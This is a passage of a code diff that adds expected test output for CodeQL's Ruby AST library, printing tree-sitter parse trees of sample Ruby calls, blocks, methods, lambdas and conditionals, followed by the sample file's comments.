+#  362|         getReceiver: [SelfVariableAccess] self
+#  362|       getAnOperand/getLeftOperand: [LocalVariableAccess] __synth__0__1
+#  362|     getStmt: [IfExpr] if ...
+#  362|       getBranch/getElse: [MethodCall] call to empty?
+#  362|         getReceiver: [LocalVariableAccess] __synth__0__1
+#  362|       getBranch/getThen: [NilLiteral] nil
+#  362|       getCondition: [MethodCall] call to ==
+#  362|         getArgument: [LocalVariableAccess] __synth__0__1
+#  362|         getReceiver: [NilLiteral] nil
+#  364| [MethodCall] call to bar
+#  364|   getDesugared: [StmtSequence] ...
+#  364|     getStmt: [AssignExpr] ... = ...
+#  364|       getAnOperand/getRightOperand: [MethodCall] call to foo
+#  364|         getReceiver: [SelfVariableAccess] self
+#  364|       getAnOperand/getLeftOperand: [LocalVariableAccess] __synth__0__1
+#  364|     getStmt: [IfExpr] if ...
+#  364|       getBranch/getElse: [MethodCall] call to bar
+#  364|         getReceiver: [LocalVariableAccess] __synth__0__1
+#  364|         getArgument: [IntegerLiteral] 1
+#  364|         getArgument: [IntegerLiteral] 2
+#  364|         getBlock: [BraceBlock] { ... }
+#  364|           getParameter: [SimpleParameter] x
+#  364|             getDefiningAccess: [LocalVariableAccess] x
+#  364|           getStmt: [LocalVariableAccess] x
+#  364|       getBranch/getThen: [NilLiteral] nil
+#  364|       getCondition: [MethodCall] call to ==
+#  364|         getArgument: [LocalVariableAccess] __synth__0__1
+#  364|         getReceiver: [NilLiteral] nil
 control/cases.rb:
 #   90| [ArrayLiteral] %w(...)
 #   90|   getDesugared: [MethodCall] call to []
diff --git a/ruby/ql/test/library-tests/ast/TreeSitter.expected b/ruby/ql/test/library-tests/ast/TreeSitter.expected
new file mode 100644
index 00000000000..0a2ecda8d28
--- /dev/null
+++ b/ruby/ql/test/library-tests/ast/TreeSitter.expected
@@ -0,0 +1,5899 @@
+calls/calls.rb:
+#    1| [Program] Program
+#    2|   0: [Call] Call
+#    2|     0: [Identifier] foo
+#    2|     1: [ArgumentList] ArgumentList
+#    2|       0: [ReservedWord] (
+#    2|       1: [ReservedWord] )
+#    5|   1: [Call] Call
+#    5|     0: [Constant] Foo
+#    5|     1: [ReservedWord] ::
+#    5|     2: [Identifier] bar
+#    5|     3: [ArgumentList] ArgumentList
+#    5|       0: [ReservedWord] (
+#    5|       1: [ReservedWord] )
+#    8|   2: [Call] Call
+#    8|     0: [Identifier] bar
+#    8|     1: [ArgumentList] ArgumentList
+#    8|       0: [ReservedWord] (
+#    8|       1: [ReservedWord] )
+#   11|   3: [Call] Call
+#   11|     0: [Integer] 123
+#   11|     1: [ReservedWord] .
+#   11|     2: [Identifier] bar
+#   14|   4: [Call] Call
+#   14|     0: [Identifier] foo
+#   14|     1: [ArgumentList] ArgumentList
+#   14|       0: [Integer] 0
+#   14|       1: [ReservedWord] ,
+#   14|       2: [Integer] 1
+#   14|       3: [ReservedWord] ,
+#   14|       4: [Integer] 2
+#   17|   5: [Call] Call
+#   17|     0: [Identifier] foo
+#   17|     1: [Block] Block
+#   17|       0: [ReservedWord] {
+#   17|       1: [BlockParameters] BlockParameters
+#   17|         0: [ReservedWord] |
+#   17|         1: [Identifier] x
+#   17|         2: [ReservedWord] |
+#   17|       2: [Binary] Binary
+#   17|         0: [Identifier] x
+#   17|         1: [ReservedWord] +
+#   17|         2: [Integer] 1
+#   17|       3: [ReservedWord] }
+#   20|   6: [Call] Call
+#   20|     0: [Identifier] foo
+#   20|     1: [DoBlock] DoBlock
+#   20|       0: [ReservedWord] do
+#   20|       1: [BlockParameters] BlockParameters
+#   20|         0: [ReservedWord] |
+#   20|         1: [Identifier] x
+#   20|         2: [ReservedWord] |
+#   21|       2: [Binary] Binary
+#   21|         0: [Identifier] x
+#   21|         1: [ReservedWord] +
+#   21|         2: [Integer] 1
+#   22|       3: [ReservedWord] end
+#   25|   7: [Call] Call
+#   25|     0: [Integer] 123
+#   25|     1: [ReservedWord] .
+#   25|     2: [Identifier] bar
+#   25|     3: [ArgumentList] ArgumentList
+#   25|       0: [ReservedWord] (
+#   25|       1: [String] String
+#   25|         0: [ReservedWord] '
+#   25|         1: [StringContent] foo
+#   25|         2: [ReservedWord] '
+#   25|       2: [ReservedWord] )
+#   25|     4: [DoBlock] DoBlock
+#   25|       0: [ReservedWord] do
+#   25|       1: [BlockParameters] BlockParameters
+#   25|         0: [ReservedWord] |
+#   25|         1: [Identifier] x
+#   25|         2: [ReservedWord] |
+#   26|       2: [Binary] Binary
+#   26|         0: [Identifier] x
+#   26|         1: [ReservedWord] +
+#   26|         2: [Integer] 1
+#   27|       3: [ReservedWord] end
+#   30|   8: [Method] Method
+#   30|     0: [ReservedWord] def
+#   30|     1: [Identifier] method_that_yields
+#   31|     2: [Yield] Yield
+#   31|       0: [ReservedWord] yield
+#   32|     3: [ReservedWord] end
+#   35|   9: [Method] Method
+#   35|     0: [ReservedWord] def
+#   35|     1: [Identifier] another_method_that_yields
+#   36|     2: [Yield] Yield
+#   36|       0: [ReservedWord] yield
+#   36|       1: [ArgumentList] ArgumentList
+#   36|         0: [Integer] 100
+#   36|         1: [ReservedWord] ,
+#   36|         2: [Integer] 200
+#   37|     3: [ReservedWord] end
+#   46|   10: [Identifier] foo
+#   47|   11: [Call] Call
+#   47|     0: [Constant] X
+#   47|     1: [ReservedWord] ::
+#   47|     2: [Identifier] foo
+#   50|   12: [ParenthesizedStatements] ParenthesizedStatements
+#   50|     0: [ReservedWord] (
+#   50|     1: [Identifier] foo
+#   50|     2: [ReservedWord] )
+#   51|   13: [ParenthesizedStatements] ParenthesizedStatements
+#   51|     0: [ReservedWord] (
+#   51|     1: [Call] Call
+#   51|       0: [Constant] X
+#   51|       1: [ReservedWord] ::
+#   51|       2: [Identifier] foo
+#   51|     2: [ReservedWord] )
+#   54|   14: [Call] Call
+#   54|     0: [Identifier] some_func
+#   54|     1: [ArgumentList] ArgumentList
+#   54|       0: [ReservedWord] (
+#   54|       1: [Identifier] foo
+#   54|       2: [ReservedWord] )
+#   55|   15: [Call] Call
+#   55|     0: [Identifier] some_func
+#   55|     1: [ArgumentList] ArgumentList
+#   55|       0: [ReservedWord] (
+#   55|       1: [Call] Call
+#   55|         0: [Constant] X
+#   55|         1: [ReservedWord] ::
+#   55|         2: [Identifier] foo
+#   55|       2: [ReservedWord] )
+#   58|   16: [Array] Array
+#   58|     0: [ReservedWord] [
+#   58|     1: [Identifier] foo
+#   58|     2: [ReservedWord] ]
+#   59|   17: [Array] Array
+#   59|     0: [ReservedWord] [
+#   59|     1: [Call] Call
+#   59|       0: [Constant] X
+#   59|       1: [ReservedWord] ::
+#   59|       2: [Identifier] foo
+#   59|     2: [ReservedWord] ]
+#   62|   18: [Assignment] Assignment
+#   62|     0: [Identifier] var1
+#   62|     1: [ReservedWord] =
+#   62|     2: [Identifier] foo
+#   63|   19: [Assignment] Assignment
+#   63|     0: [Identifier] var1
+#   63|     1: [ReservedWord] =
+#   63|     2: [Call] Call
+#   63|       0: [Constant] X
+#   63|       1: [ReservedWord] ::
+#   63|       2: [Identifier] foo
+#   66|   20: [OperatorAssignment] OperatorAssignment
+#   66|     0: [Identifier] var1
+#   66|     1: [ReservedWord] +=
+#   66|     2: [Identifier] bar
+#   67|   21: [OperatorAssignment] OperatorAssignment
+#   67|     0: [Identifier] var1
+#   67|     1: [ReservedWord] +=
+#   67|     2: [Call] Call
+#   67|       0: [Constant] X
+#   67|       1: [ReservedWord] ::
+#   67|       2: [Identifier] bar
+#   70|   22: [Assignment] Assignment
+#   70|     0: [Identifier] var1
+#   70|     1: [ReservedWord] =
+#   70|     2: [RightAssignmentList] RightAssignmentList
+#   70|       0: [Identifier] foo
+#   70|       1: [ReservedWord] ,
+#   70|       2: [Call] Call
+#   70|         0: [Constant] X
+#   70|         1: [ReservedWord] ::
+#   70|         2: [Identifier] bar
+#   73|   23: [Begin] Begin
+#   73|     0: [ReservedWord] begin
+#   74|     1: [Identifier] foo
+#   75|     2: [Call] Call
+#   75|       0: [Constant] X
+#   75|       1: [ReservedWord] ::
+#   75|       2: [Identifier] foo
+#   76|     3: [ReservedWord] end
+#   79|   24: [BeginBlock] BeginBlock
+#   79|     0: [ReservedWord] BEGIN
+#   79|     1: [ReservedWord] {
+#   79|     2: [Identifier] foo
+#   79|     3: [ReservedWord] ;
+#   79|     4: [Call] Call
+#   79|       0: [Constant] X
+#   79|       1: [ReservedWord] ::
+#   79|       2: [Identifier] bar
+#   79|     5: [ReservedWord] }
+#   82|   25: [EndBlock] EndBlock
+#   82|     0: [ReservedWord] END
+#   82|     1: [ReservedWord] {
+#   82|     2: [Identifier] foo
+#   82|     3: [ReservedWord] ;
+#   82|     4: [Call] Call
+#   82|       0: [Constant] X
+#   82|       1: [ReservedWord] ::
+#   82|       2: [Identifier] bar
+#   82|     5: [ReservedWord] }
+#   85|   26: [Binary] Binary
+#   85|     0: [Identifier] foo
+#   85|     1: [ReservedWord] +
+#   85|     2: [Call] Call
+#   85|       0: [Constant] X
+#   85|       1: [ReservedWord] ::
+#   85|       2: [Identifier] bar
+#   88|   27: [Unary] Unary
+#   88|     0: [ReservedWord] !
+#   88|     1: [Identifier] foo
+#   89|   28: [Unary] Unary
+#   89|     0: [ReservedWord] ~
+#   89|     1: [Call] Call
+#   89|       0: [Constant] X
+#   89|       1: [ReservedWord] ::
+#   89|       2: [Identifier] bar
+#   92|   29: [Call] Call
+#   92|     0: [Identifier] foo
+#   92|     1: [ArgumentList] ArgumentList
+#   92|       0: [ReservedWord] (
+#   92|       1: [ReservedWord] )
+#   92|     2: [Block] Block
+#   92|       0: [ReservedWord] {
+#   92|       1: [Identifier] bar
+#   92|       2: [ReservedWord] ;
+#   92|       3: [Call] Call
+#   92|         0: [Constant] X
+#   92|         1: [ReservedWord] ::
+#   92|         2: [Identifier] baz
+#   92|       4: [ReservedWord] }
+#   95|   30: [Call] Call
+#   95|     0: [Identifier] foo
+#   95|     1: [ArgumentList] ArgumentList
+#   95|       0: [ReservedWord] (
+#   95|       1: [ReservedWord] )
+#   95|     2: [DoBlock] DoBlock
+#   95|       0: [ReservedWord] do
+#   96|       1: [Identifier] bar
+#   97|       2: [Call] Call
+#   97|         0: [Constant] X
+#   97|         1: [ReservedWord] ::
+#   97|         2: [Identifier] baz
+#   98|       3: [ReservedWord] end
+#  101|   31: [Call] Call
+#  101|     0: [Identifier] foo
+#  101|     1: [ReservedWord] .
+#  101|     2: [Identifier] bar
+#  101|     3: [ArgumentList] ArgumentList
+#  101|       0: [ReservedWord] (
+#  101|       1: [ReservedWord] )
+#  102|   32: [Call] Call
+#  102|     0: [Identifier] bar
+#  102|     1: [ReservedWord] .
+#  102|     2: [Identifier] baz
+#  102|     3: [ArgumentList] ArgumentList
+#  102|       0: [ReservedWord] (
+#  102|       1: [ReservedWord] )
+#  106|   33: [Case] Case
+#  106|     0: [ReservedWord] case
+#  106|     1: [Identifier] foo
+#  107|     2: [When] When
+#  107|       0: [ReservedWord] when
+#  107|       1: [Pattern] Pattern
+#  107|         0: [Identifier] bar
+#  107|       2: [Then] Then
+#  108|         0: [Identifier] baz
+#  109|     3: [ReservedWord] end
+#  110|   34: [Case] Case
+#  110|     0: [ReservedWord] case
+#  110|     1: [Call] Call
+#  110|       0: [Constant] X
+#  110|       1: [ReservedWord] ::
+#  110|       2: [Identifier] foo
+#  111|     2: [When] When
+#  111|       0: [ReservedWord] when
+#  111|       1: [Pattern] Pattern
+#  111|         0: [Call] Call
+#  111|           0: [Constant] X
+#  111|           1: [ReservedWord] ::
+#  111|           2: [Identifier] bar
+#  111|       2: [Then] Then
+#  112|         0: [Call] Call
+#  112|           0: [Constant] X
+#  112|           1: [ReservedWord] ::
+#  112|           2: [Identifier] baz
+#  113|     3: [ReservedWord] end
+#  116|   35: [Class] Class
+#  116|     0: [ReservedWord] class
+#  116|     1: [Constant] MyClass
+#  117|     2: [Identifier] foo
+#  118|     3: [Call] Call
+#  118|       0: [Constant] X
+#  118|       1: [ReservedWord] ::
+#  118|       2: [Identifier] bar
+#  119|     4: [ReservedWord] end
+#  122|   36: [Class] Class
+#  122|     0: [ReservedWord] class
+#  122|     1: [Constant] MyClass
+#  122|     2: [Superclass] Superclass
+#  122|       0: [ReservedWord] <
+#  122|       1: [Identifier] foo
+#  123|     3: [ReservedWord] end
+#  124|   37: [Class] Class
+#  124|     0: [ReservedWord] class
+#  124|     1: [Constant] MyClass2
+#  124|     2: [Superclass] Superclass
+#  124|       0: [ReservedWord] <
+#  124|       1: [Call] Call
+#  124|         0: [Constant] X
+#  124|         1: [ReservedWord] ::
+#  124|         2: [Identifier] foo
+#  125|     3: [ReservedWord] end
+#  128|   38: [SingletonClass] SingletonClass
+#  128|     0: [ReservedWord] class
+#  128|     1: [ReservedWord] <<
+#  128|     2: [Identifier] foo
+#  129|     3: [Identifier] bar
+#  130|     4: [ReservedWord] end
+#  131|   39: [SingletonClass] SingletonClass
+#  131|     0: [ReservedWord] class
+#  131|     1: [ReservedWord] <<
+#  131|     2: [Call] Call
+#  131|       0: [Constant] X
+#  131|       1: [ReservedWord] ::
+#  131|       2: [Identifier] foo
+#  132|     3: [Call] Call
+#  132|       0: [Constant] X
+#  132|       1: [ReservedWord] ::
+#  132|       2: [Identifier] bar
+#  133|     4: [ReservedWord] end
+#  136|   40: [Method] Method
+#  136|     0: [ReservedWord] def
+#  136|     1: [Identifier] some_method
+#  137|     2: [Identifier] foo
+#  138|     3: [Call] Call
+#  138|       0: [Constant] X
+#  138|       1: [ReservedWord] ::
+#  138|       2: [Identifier] bar
+#  139|     4: [ReservedWord] end
+#  142|   41: [SingletonMethod] SingletonMethod
+#  142|     0: [ReservedWord] def
+#  142|     1: [Identifier] foo
+#  142|     2: [ReservedWord] .
+#  142|     3: [Identifier] some_method
+#  143|     4: [Identifier] bar
+#  144|     5: [Call] Call
+#  144|       0: [Constant] X
+#  144|       1: [ReservedWord] ::
+#  144|       2: [Identifier] baz
+#  145|     6: [ReservedWord] end
+#  148|   42: [Method] Method
+#  148|     0: [ReservedWord] def
+#  148|     1: [Identifier] method_with_keyword_param
+#  148|     2: [MethodParameters] MethodParameters
+#  148|       0: [ReservedWord] (
+#  148|       1: [KeywordParameter] KeywordParameter
+#  148|         0: [Identifier] keyword
+#  148|         1: [ReservedWord] :
+#  148|         2: [Identifier] foo
+#  148|       2: [ReservedWord] )
+#  149|     3: [ReservedWord] end
+#  150|   43: [Method] Method
+#  150|     0: [ReservedWord] def
+#  150|     1: [Identifier] method_with_keyword_param2
+#  150|     2: [MethodParameters] MethodParameters
+#  150|       0: [ReservedWord] (
+#  150|       1: [KeywordParameter] KeywordParameter
+#  150|         0: [Identifier] keyword
+#  150|         1: [ReservedWord] :
+#  150|         2: [Call] Call
+#  150|           0: [Constant] X
+#  150|           1: [ReservedWord] ::
+#  150|           2: [Identifier] foo
+#  150|       2: [ReservedWord] )
+#  151|     3: [ReservedWord] end
+#  154|   44: [Method] Method
+#  154|     0: [ReservedWord] def
+#  154|     1: [Identifier] method_with_optional_param
+#  154|     2: [MethodParameters] MethodParameters
+#  154|       0: [ReservedWord] (
+#  154|       1: [OptionalParameter] OptionalParameter
+#  154|         0: [Identifier] param
+#  154|         1: [ReservedWord] =
+#  154|         2: [Identifier] foo
+#  154|       2: [ReservedWord] )
+#  155|     3: [ReservedWord] end
+#  156|   45: [Method] Method
+#  156|     0: [ReservedWord] def
+#  156|     1: [Identifier] method_with_optional_param2
+#  156|     2: [MethodParameters] MethodParameters
+#  156|       0: [ReservedWord] (
+#  156|       1: [OptionalParameter] OptionalParameter
+#  156|         0: [Identifier] param
+#  156|         1: [ReservedWord] =
+#  156|         2: [Call] Call
+#  156|           0: [Constant] X
+#  156|           1: [ReservedWord] ::
+#  156|           2: [Identifier] foo
+#  156|       2: [ReservedWord] )
+#  157|     3: [ReservedWord] end
+#  160|   46: [Module] Module
+#  160|     0: [ReservedWord] module
+#  160|     1: [Constant] SomeModule
+#  161|     2: [Identifier] foo
+#  162|     3: [Call] Call
+#  162|       0: [Constant] X
+#  162|       1: [ReservedWord] ::
+#  162|       2: [Identifier] bar
+#  163|     4: [ReservedWord] end
+#  166|   47: [Conditional] Conditional
+#  166|     0: [Identifier] foo
+#  166|     1: [ReservedWord] ?
+#  166|     2: [Identifier] bar
+#  166|     3: [ReservedWord] :
+#  166|     4: [Identifier] baz
+#  167|   48: [Conditional] Conditional
+#  167|     0: [Call] Call
+#  167|       0: [Constant] X
+#  167|       1: [ReservedWord] ::
+#  167|       2: [Identifier] foo
+#  167|     1: [ReservedWord] ?
+#  167|     2: [Call] Call
+#  167|       0: [Constant] X
+#  167|       1: [ReservedWord] ::
+#  167|       2: [Identifier] bar
+#  167|     3: [ReservedWord] :
+#  167|     4: [Call] Call
+#  167|       0: [Constant] X
+#  167|       1: [ReservedWord] ::
+#  167|       2: [Identifier] baz
+#  170|   49: [If] If
+#  170|     0: [ReservedWord] if
+#  170|     1: [Identifier] foo
+#  170|     2: [Then] Then
+#  171|       0: [Identifier] wibble
+#  172|     3: [Elsif] Elsif
+#  172|       0: [ReservedWord] elsif
+#  172|       1: [Identifier] bar
+#  172|       2: [Then] Then
+#  173|         0: [Identifier] wobble
+#  174|       3: [Else] Else
+#  174|         0: [ReservedWord] else
+#  175|         1: [Identifier] wabble
+#  176|     4: [ReservedWord] end
+#  177|   50: [If] If
+#  177|     0: [ReservedWord] if
+#  177|     1: [Call] Call
+#  177|       0: [Constant] X
+#  177|       1: [ReservedWord] ::
+#  177|       2: [Identifier] foo
+#  177|     2: [Then] Then
+#  178|       0: [Call] Call
+#  178|         0: [Constant] X
+#  178|         1: [ReservedWord] ::
+#  178|         2: [Identifier] wibble
+#  179|     3: [Elsif] Elsif
+#  179|       0: [ReservedWord] elsif
+#  179|       1: [Call] Call
+#  179|         0: [Constant] X
+#  179|         1: [ReservedWord] ::
+#  179|         2: [Identifier] bar
+#  179|       2: [Then] Then
+#  180|         0: [Call] Call
+#  180|           0: [Constant] X
+#  180|           1: [ReservedWord] ::
+#  180|           2: [Identifier] wobble
+#  181|       3: [Else] Else
+#  181|         0: [ReservedWord] else
+#  182|         1: [Call] Call
+#  182|           0: [Constant] X
+#  182|           1: [ReservedWord] ::
+#  182|           2: [Identifier] wabble
+#  183|     4: [ReservedWord] end
+#  186|   51: [IfModifier] IfModifier
+#  186|     0: [Identifier] bar
+#  186|     1: [ReservedWord] if
+#  186|     2: [Identifier] foo
+#  187|   52: [IfModifier] IfModifier
+#  187|     0: [Call] Call
+#  187|       0: [Constant] X
+#  187|       1: [ReservedWord] ::
+#  187|       2: [Identifier] bar
+#  187|     1: [ReservedWord] if
+#  187|     2: [Call] Call
+#  187|       0: [Constant] X
+#  187|       1: [ReservedWord] ::
+#  187|       2: [Identifier] foo
+#  190|   53: [Unless] Unless
+#  190|     0: [ReservedWord] unless
+#  190|     1: [Identifier] foo
+#  190|     2: [Then] Then
+#  191|       0: [Identifier] bar
+#  192|     3: [ReservedWord] end
+#  193|   54: [Unless] Unless
+#  193|     0: [ReservedWord] unless
+#  193|     1: [Call] Call
+#  193|       0: [Constant] X
+#  193|       1: [ReservedWord] ::
+#  193|       2: [Identifier] foo
+#  193|     2: [Then] Then
+#  194|       0: [Call] Call
+#  194|         0: [Constant] X
+#  194|         1: [ReservedWord] ::
+#  194|         2: [Identifier] bar
+#  195|     3: [ReservedWord] end
+#  198|   55: [UnlessModifier] UnlessModifier
+#  198|     0: [Identifier] bar
+#  198|     1: [ReservedWord] unless
+#  198|     2: [Identifier] foo
+#  199|   56: [UnlessModifier] UnlessModifier
+#  199|     0: [Call] Call
+#  199|       0: [Constant] X
+#  199|       1: [ReservedWord] ::
+#  199|       2: [Identifier] bar
+#  199|     1: [ReservedWord] unless
+#  199|     2: [Call] Call
+#  199|       0: [Constant] X
+#  199|       1: [ReservedWord] ::
+#  199|       2: [Identifier] foo
+#  202|   57: [While] While
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+#  326|   102: [SingletonMethod] SingletonMethod
+#  326|     0: [ReservedWord] def
+#  326|     1: [Constant] Object
+#  326|     2: [ReservedWord] .
+#  326|     3: [Identifier] foo
+#  326|     4: [ReservedWord] =
+#  326|     5: [Identifier] bar
+#  327|   103: [SingletonMethod] SingletonMethod
+#  327|     0: [ReservedWord] def
+#  327|     1: [Constant] Object
+#  327|     2: [ReservedWord] .
+#  327|     3: [Identifier] foo
+#  327|     4: [MethodParameters] MethodParameters
+#  327|       0: [ReservedWord] (
+#  327|       1: [Identifier] x
+#  327|       2: [ReservedWord] )
+#  327|     5: [ReservedWord] =
+#  327|     6: [Identifier] bar
+#  328|   104: [Method] Method
+#  328|     0: [ReservedWord] def
+#  328|     1: [Identifier] foo
+#  328|     2: [MethodParameters] MethodParameters
+#  328|       0: [ReservedWord] (
+#  328|       1: [ReservedWord] )
+#  328|     3: [ReservedWord] =
+#  328|     4: [RescueModifier] RescueModifier
+#  328|       0: [Identifier] bar
+#  328|       1: [ReservedWord] rescue
+#  328|       2: [ParenthesizedStatements] ParenthesizedStatements
+#  328|         0: [ReservedWord] (
+#  328|         1: [Call] Call
+#  328|           0: [Identifier] print
+#  328|           1: [ArgumentList] ArgumentList
+#  328|             0: [String] String
+#  328|               0: [ReservedWord] "
+#  328|               1: [StringContent] error
+#  328|               2: [ReservedWord] "
+#  328|         2: [ReservedWord] )
+#  331|   105: [Method] Method
+#  331|     0: [ReservedWord] def
+#  331|     1: [Identifier] foo
+#  331|     2: [MethodParameters] MethodParameters
+#  331|       0: [ReservedWord] (
+#  331|       1: [ForwardParameter] ...
+#  331|         0: [ReservedWord] ...
+#  331|       2: [ReservedWord] )
+#  332|     3: [Call] Call
+#  332|       0: [Super] super
+#  332|       1: [ArgumentList] ArgumentList
+#  332|         0: [ReservedWord] (
+#  332|         1: [ForwardArgument] ...
+#  332|           0: [ReservedWord] ...
+#  332|         2: [ReservedWord] )
+#  333|     4: [ReservedWord] end
+#  335|   106: [Method] Method
+#  335|     0: [ReservedWord] def
+#  335|     1: [Identifier] foo
+#  335|     2: [MethodParameters] MethodParameters
+#  335|       0: [ReservedWord] (
+#  335|       1: [Identifier] a
+#  335|       2: [ReservedWord] ,
+#  335|       3: [Identifier] b
+#  335|       4: [ReservedWord] ,
+#  335|       5: [ForwardParameter] ...
+#  335|         0: [ReservedWord] ...
+#  335|       6: [ReservedWord] )
+#  336|     3: [Call] Call
+#  336|       0: [Identifier] bar
+#  336|       1: [ArgumentList] ArgumentList
+#  336|         0: [ReservedWord] (
+#  336|         1: [Identifier] b
+#  336|         2: [ReservedWord] ,
+#  336|         3: [ForwardArgument] ...
+#  336|           0: [ReservedWord] ...
+#  336|         4: [ReservedWord] )
+#  337|     4: [ReservedWord] end
+#  340|   107: [For] For
+#  340|     0: [ReservedWord] for
+#  340|     1: [LeftAssignmentList] LeftAssignmentList
+#  340|       0: [Identifier] x
+#  340|       1: [ReservedWord] ,
+#  340|       2: [Identifier] y
+#  340|       3: [ReservedWord] ,
+#  340|       4: [Identifier] z
+#  340|     2: [In] In
+#  340|       0: [ReservedWord] in
+#  340|       1: [Array] Array
+#  340|         0: [ReservedWord] [
+#  340|         1: [Array] Array
+#  340|           0: [ReservedWord] [
+#  340|           1: [Integer] 1
+#  340|           2: [ReservedWord] ,
+#  340|           3: [Integer] 2
+#  340|           4: [ReservedWord] ,
+#  340|           5: [Integer] 3
+#  340|           6: [ReservedWord] ]
+#  340|         2: [ReservedWord] ,
+#  340|         3: [Array] Array
+#  340|           0: [ReservedWord] [
+#  340|           1: [Integer] 4
+#  340|           2: [ReservedWord] ,
+#  340|           3: [Integer] 5
+#  340|           4: [ReservedWord] ,
+#  340|           5: [Integer] 6
+#  340|           6: [ReservedWord] ]
+#  340|         4: [ReservedWord] ]
+#  340|     3: [Do] Do
+#  341|       0: [Call] Call
+#  341|         0: [Identifier] foo
+#  341|         1: [ArgumentList] ArgumentList
+#  341|           0: [Identifier] x
+#  341|           1: [ReservedWord] ,
+#  341|           2: [Identifier] y
+#  341|           3: [ReservedWord] ,
+#  341|           4: [Identifier] z
+#  342|       1: [ReservedWord] end
+#  344|   108: [Call] Call
+#  344|     0: [Identifier] foo
+#  344|     1: [ArgumentList] ArgumentList
+#  344|       0: [ReservedWord] (
+#  344|       1: [Pair] Pair
+#  344|         0: [HashKeySymbol] x
+#  344|         1: [ReservedWord] :
+#  344|         2: [Integer] 42
+#  344|       2: [ReservedWord] )
+#  345|   109: [Call] Call
+#  345|     0: [Identifier] foo
+#  345|     1: [ArgumentList] ArgumentList
+#  345|       0: [ReservedWord] (
+#  345|       1: [Pair] Pair
+#  345|         0: [HashKeySymbol] x
+#  345|         1: [ReservedWord] :
+#  345|       2: [ReservedWord] ,
+#  345|       3: [Pair] Pair
+#  345|         0: [HashKeySymbol] novar
+#  345|         1: [ReservedWord] :
+#  345|       4: [ReservedWord] )
+#  346|   110: [Call] Call
+#  346|     0: [Identifier] foo
+#  346|     1: [ArgumentList] ArgumentList
+#  346|       0: [ReservedWord] (
+#  346|       1: [Pair] Pair
+#  346|         0: [HashKeySymbol] X
+#  346|         1: [ReservedWord] :
+#  346|         2: [Integer] 42
+#  346|       2: [ReservedWord] )
+#  347|   111: [Call] Call
+#  347|     0: [Identifier] foo
+#  347|     1: [ArgumentList] ArgumentList
+#  347|       0: [ReservedWord] (
+#  347|       1: [Pair] Pair
+#  347|         0: [HashKeySymbol] X
+#  347|         1: [ReservedWord] :
+#  347|       2: [ReservedWord] )
+#  350|   112: [Assignment] Assignment
+#  350|     0: [Identifier] y
+#  350|     1: [ReservedWord] =
+#  350|     2: [Integer] 1
+#  351|   113: [Assignment] Assignment
+#  351|     0: [Identifier] one
+#  351|     1: [ReservedWord] =
+#  351|     2: [Lambda] Lambda
+#  351|       0: [ReservedWord] ->
+#  351|       1: [LambdaParameters] LambdaParameters
+#  351|         0: [ReservedWord] (
+#  351|         1: [Identifier] x
+#  351|         2: [ReservedWord] )
+#  351|       2: [Block] Block
+#  351|         0: [ReservedWord] {
+#  351|         1: [Identifier] y
+#  351|         2: [ReservedWord] }
+#  352|   114: [Assignment] Assignment
+#  352|     0: [Identifier] f
+#  352|     1: [ReservedWord] =
+#  352|     2: [Lambda] Lambda
+#  352|       0: [ReservedWord] ->
+#  352|       1: [LambdaParameters] LambdaParameters
+#  352|         0: [ReservedWord] (
+#  352|         1: [Identifier] x
+#  352|         2: [ReservedWord] )
+#  352|       2: [Block] Block
+#  352|         0: [ReservedWord] {
+#  352|         1: [Call] Call
+#  352|           0: [Identifier] foo
+#  352|           1: [ArgumentList] ArgumentList
+#  352|             0: [Identifier] x
+#  352|         2: [ReservedWord] }
+#  353|   115: [Assignment] Assignment
+#  353|     0: [Identifier] g
+#  353|     1: [ReservedWord] =
+#  353|     2: [Lambda] Lambda
+#  353|       0: [ReservedWord] ->
+#  353|       1: [LambdaParameters] LambdaParameters
+#  353|         0: [ReservedWord] (
+#  353|         1: [Identifier] x
+#  353|         2: [ReservedWord] )
+#  353|       2: [Block] Block
+#  353|         0: [ReservedWord] {
+#  353|         1: [Identifier] unknown_call
+#  353|         2: [ReservedWord] }
+#  354|   116: [Assignment] Assignment
+#  354|     0: [Identifier] h
+#  354|     1: [ReservedWord] =
+#  354|     2: [Lambda] Lambda
+#  354|       0: [ReservedWord] ->
+#  354|       1: [LambdaParameters] LambdaParameters
+#  354|         0: [ReservedWord] (
+#  354|         1: [Identifier] x
+#  354|         2: [ReservedWord] )
+#  354|       2: [DoBlock] DoBlock
+#  354|         0: [ReservedWord] do
+#  355|         1: [Identifier] x
+#  356|         2: [Identifier] y
+#  357|         3: [Identifier] unknown_call
+#  358|         4: [ReservedWord] end
+#  361|   117: [Call] Call
+#  361|     0: [Identifier] list
+#  361|     1: [ReservedWord] .
+#  361|     2: [Identifier] empty?
+#  362|   118: [Call] Call
+#  362|     0: [Identifier] list
+#  362|     1: [ReservedWord] &.
+#  362|     2: [Identifier] empty?
+#  363|   119: [Call] Call
+#  363|     0: [Identifier] list
+#  363|     1: [ReservedWord] ::
+#  363|     2: [Identifier] empty?
+#  364|   120: [Call] Call
+#  364|     0: [Identifier] foo
+#  364|     1: [ReservedWord] &.
+#  364|     2: [Identifier] bar
+#  364|     3: [ArgumentList] ArgumentList
+#  364|       0: [ReservedWord] (
+#  364|       1: [Integer] 1
+#  364|       2: [ReservedWord] ,
+#  364|       3: [Integer] 2
+#  364|       4: [ReservedWord] )
+#  364|     4: [Block] Block
+#  364|       0: [ReservedWord] {
+#  364|       1: [BlockParameters] BlockParameters
+#  364|         0: [ReservedWord] |
+#  364|         1: [Identifier] x
+#  364|         2: [ReservedWord] |
+#  364|       2: [Identifier] x
+#  364|       3: [ReservedWord] }
+#    1| [Comment] # call with no receiver, arguments, or block
+#    4| [Comment] # call whose name is a scope resolution
+#    7| [Comment] # call whose name is a global scope resolution
+#   10| [Comment] # call with a receiver, no arguments or block
+#   13| [Comment] # call with arguments
+#   16| [Comment] # call with curly brace block
+#   19| [Comment] # call with do block
+#   24| [Comment] # call with receiver, arguments, and a block
+#   29| [Comment] # a yield call
+#   34| [Comment] # a yield call with arguments
+#   39| [Comment] # ------------------------------------------------------------------------------
+#   40| [Comment] # Calls without parentheses or arguments are parsed by tree-sitter simply as
+#   41| [Comment] # `identifier` nodes (or `scope_resolution` nodes whose `name` field is an
+#   42| [Comment] # `identifier), so here we test that our AST library correctly represents them
+#   43| [Comment] # as calls in all the following contexts.
+#   45| [Comment] # root level (child of program)
+#   49| [Comment] # in a parenthesized statement
+#   53| [Comment] # in an argument list
+#   57| [Comment] # in an array
+#   61| [Comment] # RHS of an assignment
+#   65| [Comment] # RHS an operator assignment
+#   69| [Comment] # RHS assignment list
+#   72| [Comment] # in a begin-end block
